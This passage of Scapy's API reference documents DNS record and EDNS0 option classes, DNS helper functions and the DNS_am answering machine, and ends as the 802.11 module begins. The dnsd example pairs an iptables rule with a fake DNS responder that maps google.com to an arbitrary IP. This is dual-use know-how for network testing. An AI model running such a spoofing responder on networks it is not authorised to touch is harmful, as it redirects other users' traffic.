class scapy.layers.dns.DNSRROPT(_pkt, /, *, rrname=b'.', type=41, rclass=4096, extrcode=0, version=0, z=32768, rdlen=None, rdata=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L456-L468]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |    EXTRCODE   |    VERSION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               Z               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRROPT                           


DNSRROPT fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	41



	rclass

	ShortField

	4096



	extrcode

	ByteField

	0



	version

	ByteField

	0



	z

	BitEnumField

	32768



	rdlen

	FieldLenField

	None



	rdata

	PacketListField

	[]















	
class scapy.layers.dns.DNSRRRSIG(_pkt, /, *, rrname=b'.', type=46, rclass=1, ttl=0, rdlen=None, typecovered=1, algorithm=5, labels=0, originalttl=0, expiration=0, inception=0, keytag=0, signersname=b'.', signature=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L814-L830]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TYPECOVERED          |   ALGORITHM   |     LABELS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ORIGINALTTL                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           EXPIRATION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           INCEPTION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             KEYTAG            |          SIGNERSNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SIGNATURE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRRSIG                          


DNSRRRSIG fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	46



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	typecovered

	ShortEnumField

	1



	algorithm

	ByteEnumField

	5



	labels

	ByteField

	0



	originalttl

	IntField

	0



	expiration

	UTCTimeField

	0



	inception

	UTCTimeField

	0



	keytag

	ShortField

	0



	signersname

	DNSStrField

	b'.'



	signature

	StrField

	b''















	
class scapy.layers.dns.DNSRRSOA(_pkt, /, *, rrname=b'.', type=6, rclass=1, ttl=0, rdlen=None, mname=b'.', rname=b'.', serial=0, refresh=0, retry=0, expire=0, minimum=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L797-L811]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MNAME             |             RNAME             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SERIAL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            REFRESH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             RETRY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             EXPIRE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MINIMUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRSOA                           


DNSRRSOA fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	6



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	mname

	DNSStrField

	b'.'



	rname

	DNSStrField

	b'.'



	serial

	IntField

	0



	refresh

	IntField

	0



	retry

	IntField

	0



	expire

	IntField

	0



	minimum

	IntField

	0















	
class scapy.layers.dns.DNSRRSRV(_pkt, /, *, rrname=b'.', type=33, rclass=1, ttl=0, rdlen=None, priority=0, weight=0, port=0, target=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L996-L1006]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PRIORITY           |             WEIGHT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PORT             |             TARGET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRSRV                           


DNSRRSRV fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	33



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	priority

	ShortField

	0



	weight

	ShortField

	0



	port

	ShortField

	0



	target

	DNSStrField

	b'.'















	
class scapy.layers.dns.DNSRRSVCB(_pkt, /, *, rrname=b'.', type=64, rclass=1, ttl=0, rdlen=None, svc_priority=0, target_name=b'.', svc_params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L974-L983]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SVC PRIORITY         |          TARGET NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SVC PARAMS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRSVCB                          


DNSRRSVCB fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	64



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	svc_priority

	ShortField

	0



	target_name

	DNSStrField

	b'.'



	svc_params

	PacketListField

	[]















	
class scapy.layers.dns.DNSRRTSIG(_pkt, /, *, rrname=b'.', type=250, rclass=1, ttl=0, rdlen=None, algo_name=b'hmac-sha1.', time_signed=0, fudge=0, mac_len=20, mac_data=b'', original_id=0, error=0, other_len=0, other_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1052-L1068]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ALGO NAME           |          TIME SIGNED          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FUDGE             |            MAC LEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MAC DATA           |          ORIGINAL ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             ERROR             |           OTHER LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           OTHER DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRTSIG                          


DNSRRTSIG fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	250



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	algo_name

	DNSStrField

	b'hmac-sha1.'



	time_signed

	TimeSignedField

	0



	fudge

	ShortField

	0



	mac_len

	FieldLenField

	20



	mac_data

	StrLenField

	b''



	original_id

	ShortField

	0



	error

	ShortField

	0



	other_len

	FieldLenField

	0



	other_data

	StrLenField

	b''















	
class scapy.layers.dns.DNSStrField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L320-L366]

	Bases: StrLenField

Special StrField that handles DNS encoding/decoding.
It will also handle DNS decompression.
(may be StrLenField if a length_from is passed),


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L326-L329]

	




	
get_full(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L352-L357]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L359-L366]

	




	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L331-L344]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L349-L350]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L346-L347]

	








	
class scapy.layers.dns.DNSTextField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L369-L420]

	Bases: StrLenField

Special StrLenField that handles DNS TEXT data (16)


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L397-L400]

	




	
i2h(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L376-L379]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L402-L403]

	




	
i2m(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L405-L420]

	




	
islist = 1

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L381-L395]

	








	
class scapy.layers.dns.DNS_am(self, joker=None, match=None, srvmatch=None, joker6=False, relay=False, from_ip=None, from_ip6=None, src_ip=None, src_ip6=None, ttl=10)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1417-L1584]

	Bases: AnsweringMachine


	
cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1194-L1279]

	alias of DNS






	
filter: str | None = 'udp port 53'

	




	
function_name = 'dnsd'

	




	
is_request(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1493-L1506]

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1508-L1584]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(joker=None, match=None, srvmatch=None, joker6=False, relay=False, from_ip=None, from_ip6=None, src_ip=None, src_ip6=None, ttl=10)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1422-L1491]

	
	Parameters:

	
	joker – default IPv4 for unresolved domains. (Default: None)
Set to False to disable, None to mirror the interface’s IP.


	joker6 – default IPv6 for unresolved domains (Default: False)
set to False to disable, None to mirror the interface’s IPv6.


	relay – relay unresolved domains to conf.nameservers (Default: False).


	match – a dictionary of {name: val} where name is a string representing
a domain name (A, AAAA) and val is a tuple of 2 elements, each
representing an IP or a list of IPs. If val is a single element,
(A, None) is assumed.


	srvmatch – a dictionary of {name: (port, target)} used for SRV


	from_ip – an source IP to filter. Can contain a netmask


	from_ip6 – an source IPv6 to filter. Can contain a netmask


	ttl – the DNS time to live (in seconds)


	src_ip – override the source IP


	src_ip6 – 








Example

$ sudo iptables -I OUTPUT -p icmp –icmp-type 3/3 -j DROP
>>> dnsd(match={“google.com”: “1.1.1.1”}, joker=”192.168.0.2”, iface=”eth0”)
>>> dnsd(srvmatch={
…     “_ldap._tcp.dc._msdcs.DOMAIN.LOCAL.”: (389, “srv1.domain.local”)
… })










	
scapy.layers.dns.DNSgetstr(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L217-L223]

	Legacy function. Deprecated






	
class scapy.layers.dns.EDNS0COOKIE(_pkt, /, *, optcode=10, optlen=None, client_cookie=b'\x00\x00\x00\x00\x00\x00\x00\x00', server_cookie=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L580-L587]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CLIENT COOKIE                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERVER COOKIE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EDNS0COOKIE                         


EDNS0COOKIE fields






	optcode

	ShortEnumField

	10



	optlen

	FieldLenField

	None



	client_cookie

	XStrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	server_cookie

	XStrLenField

	b''















	
class scapy.layers.dns.EDNS0ClientSubnet(_pkt, /, *, optcode=8, optlen=None, family=1, source_plen=None, scope_plen=0, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L558-L577]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FAMILY            |  SOURCE PLEN  |   SCOPE PLEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. EDNS0ClientSubnet                      


EDNS0ClientSubnet fields






	optcode

	ShortEnumField

	8



	optlen

	FieldLenField

	None



	family

	ShortField

	1



	source_plen

	FieldLenField

	None



	scope_plen

	ByteField

	0



	address

	MultipleTypeField (ClientSubnetv4, ClientSubnetv6, ClientSubnetv4)

	b'192.168.0.0'















	
class scapy.layers.dns.EDNS0DAU(_pkt, /, *, optcode=5, optlen=None, alg_code=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L474-L480]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ALG CODE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EDNS0DAU                           


EDNS0DAU fields






	optcode

	ShortEnumField

	5



	optlen

	FieldLenField

	None



	alg_code

	FieldListField

	[]















	
class scapy.layers.dns.EDNS0DHU(_pkt, /, *, optcode=6, optlen=None, alg_code=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L483-L489]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ALG CODE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EDNS0DHU                           


EDNS0DHU fields






	optcode

	ShortEnumField

	6



	optlen

	FieldLenField

	None



	alg_code

	FieldListField

	[]















	
class scapy.layers.dns.EDNS0ExtendedDNSError(_pkt, /, *, optcode=15, optlen=None, info_code=0, extra_text=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L628-L635]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           INFO CODE           |           EXTRA TEXT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. EDNS0ExtendedDNSError                    


EDNS0ExtendedDNSError fields






	optcode

	ShortEnumField

	15



	optlen

	FieldLenField

	None



	info_code

	ShortEnumField

	0



	extra_text

	StrLenField

	b''















	
class scapy.layers.dns.EDNS0N3U(_pkt, /, *, optcode=7, optlen=None, alg_code=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L492-L498]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ALG CODE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EDNS0N3U                           


EDNS0N3U fields






	optcode

	ShortEnumField

	7



	optlen

	FieldLenField

	None



	alg_code

	FieldListField

	[]















	
class scapy.layers.dns.EDNS0TLV(_pkt, /, *, optcode=0, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L438-L453]

	Bases: _EDNS0Dummy


	
aliastypes

	




	
classmethod dispatch_hook(_pkt: bytes | None = None, *args: Any, **kargs: Any) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L445-L453]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EDNS0TLV                           


EDNS0TLV fields






	optcode

	ShortEnumField

	0



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
scapy.layers.dns.RRlist2bitmap(lst)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L690-L739]

	Encode a list of integers representing Resource Records to a bitmap field
used in the NSEC Resource Record.






	
class scapy.layers.dns.RRlistField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L742-L751]

	Bases: StrField


	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L743-L746]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L748-L751]

	








	
class scapy.layers.dns.SvcParam(_pkt, /, *, key=0, len=None, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L938-L971]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L970-L971]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              KEY              |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SvcParam                           


SvcParam fields






	key

	ShortEnumField

	0



	len

	FieldLenField

	None



	value

	MultipleTypeField (FieldListField, DNSTextField, ShortField, FieldListField, FieldListField, StrLenField)

	b''















	
class scapy.layers.dns.TimeSignedField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1014-L1049]

	Bases: Field[int, bytes]


	
i2m(pkt, seconds)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1024-L1034]

	Convert the number of seconds since 1-Jan-70 UTC to the packed
representation.






	
i2repr(pkt, packed_seconds)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1045-L1049]

	Convert the internal representation to a nice one using the RFC
format.






	
m2i(pkt, packed_seconds)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1036-L1043]

	Convert the internal representation to the number of seconds
since 1-Jan-70 UTC.










	
scapy.layers.dns.bitmap2RRlist(bitmap)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L650-L687]

	Decode the ‘Type Bit Maps’ field of the NSEC Resource Record into an
integer list.






	
scapy.layers.dns.dns_compress(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L226-L308]

	This function compresses a DNS packet according to compression rules.






	
scapy.layers.dns.dns_encode(x, check_built=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L196-L214]

	Encodes a bytes string into the DNS format


	Parameters:

	
	x – the string


	check_built – detect already-built strings and ignore them






	Returns:

	the encoded bytes string










	
scapy.layers.dns.dns_get_str(s, full=None, _ignore_compression=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L112-L186]

	This function decompresses a string s, starting
from the given pointer.


	Parameters:

	
	s – the string to decompress


	full – (optional) the full packet (used for decompression)






	Returns:

	(decoded_string, end_index, left_string)










	
scapy.layers.dns.dns_resolve(qname, qtype='A', raw=False, verbose=1, timeout=3, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1298-L1374]

	Perform a simple DNS resolution using conf.nameservers with caching


	Parameters:

	
	qname – the name to query


	qtype – the type to query (default A)


	raw – return the whole DNS packet (default False)


	verbose – show verbose errors


	timeout – seconds until timeout (per server)






	Raises:

	TimeoutError – if no DNS servers were reached in time.










	
scapy.layers.dns.dyndns_add(nameserver, name, rdata, type='A', ttl=10)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1377-L1394]

	Send a DNS add message to a nameserver for “name” to have a new “rdata”
dyndns_add(nameserver, name, rdata, type=”A”, ttl=10) -> result code (0=ok)

example: dyndns_add(“ns1.toto.com”, “dyn.toto.com”, “127.0.0.1”)
RFC2136






	
scapy.layers.dns.dyndns_del(nameserver, name, type='ALL', ttl=10)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1397-L1414]

	Send a DNS delete message to a nameserver for “name”
dyndns_del(nameserver, name, type=”ANY”, ttl=10) -> result code (0=ok)

example: dyndns_del(“ns1.toto.com”, “dyn.toto.com”)
RFC2136








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.dot11

Wireless LAN according to IEEE 802.11.


	This file contains bindings for 802.11 layers and some usual linklayers:
	
	PRISM


	RadioTap









	
class scapy.layers.dot11.AKMSuite(_pkt, /, *, oui=4012, suite=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1127-L1155]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1154-L1155]

	




	
fields_desc

